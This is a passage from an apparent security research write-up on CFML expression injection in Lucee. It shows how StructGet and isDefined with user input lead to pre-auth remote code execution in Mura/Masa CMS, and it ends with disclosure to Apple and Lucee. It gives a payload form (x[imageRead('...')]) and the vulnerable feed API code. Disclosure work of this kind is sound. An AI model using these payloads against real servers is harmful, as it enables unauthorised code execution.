core/src/main/java/lucee/runtime/functions/struct/StructGet.java#L37
core/src/main/java/lucee/runtime/functions/struct/StructSort.java#L74
core/src/main/java/lucee/runtime/functions/system/Empty.java#L34
core/src/main/java/lucee/runtime/tag/SaveContent.java#L87
core/src/main/java/lucee/runtime/tag/Trace.java#L170
Given the complexity of PageContextImpl, We chose to initially focus on the other classes. Starting with function classes, We tested StructGet("abc") and successfully hit the breakpoint at VariableInterpreter.parse(). However, attempting the payload used earlier for CFMLExpressionInterpreter.interpret() calls didn’t execute imageRead().
After reviewing parse(), We realized that the payload needed to be modified to x[imageRead('...')] due to the call being made to CFMLExpressionInterpreter.interpretPart() after splitting the string from [ and it worked. imageRead() executed. We can call arbitrary functions from StrucGet("").
This led us to conclude that the following functions allow CFML evaluation, allowing Remote Code Execution (RCE) when they contain user input:
We did a quick search in Masa/Mura CMS’s codebase, where, despite not finding calls for StructGet() and Empty(), we stumbled upon an abundance of calls for isDefined().
Now, the reason for so many calls is that isDefined(String var), is used to check if a given string is defined as a variable or not. Meaning that isDefined(”url.search”) doesn’t mean our query parameter search’s value is being passed here. We’d need a call like isDefined(”#url.search#”) which means our given string will be checked if it is defined as variable or not.
After grepping for isDefined\(.#\) we came across a few calls, most importantly the call in FEED API at core/mura/client/api/feed/v1/apiUtility.cfc#L122 and in the JSON API both of which could be triggered pre-auth.
function processRequest(){
try {
var responseObject=getpagecontext().getresponse();
var params={};
var result="";
getBean('utility').suppressDebugging();
structAppend(params,url);
structAppend(params,form);
structAppend(form,params);
...
if (isDefined('params.method') && isDefined('#params.method#')){
...
}
}
}
The param struct is populated from both theurl and form structs, which store GET and POST parameters, respectively. Consequently, the param struct contains user input. Performing isDefined("#param.method#") poses a risk of Remote Code Execution (RCE), when Mura/Masa CMS is deployed on a Lucee server.
And finally: We perform our code execution on Apple!

These findings were reported to both Apple and the Lucee team. Apple fixed the report within 48 hours while Lucie’s team notified us that they are aware of this nature and have already implemented a fix by adding an optional setting within the Admin panel:

Our deep dive into Lucee, an alternative CFML server, yielded insightful results and uncovered critical vulnerabilities. We pinpointed vulnerabilities in Lucee’s request handling and REST mappings, exposing a critical Java deserialization flaw. The potential impact was substantial, especially considering the vulnerability’s potential exploitation of Lucee’s vital update server, which could have facilitated supply chain attacks.
Furthermore, our exploration of Lucee’s CFML expression interpretation, cookies, and sessions uncovered vulnerabilities that could lead to remote code execution. Exploiting functions like sessionInvalidate(), sessionRotate(), StructGet() and IsDefined(), we identified pathways to remote code execution, particularly within Mura/Masa CMS, a CMS deployed on top of Lucee by Apple.
Promptly following our responsible disclosure to both Apple and the Lucee team, swift action ensued. Apple responded and implemented a fix within 48 hours, swiftly addressing the reported issues and rewarded us with a $20,000 bounty, while Lucee swiftly implemented fixes to shore up the vulnerabilities. This collaborative effort highlights the importance of responsible disclosures and bug bounty programs.
]]>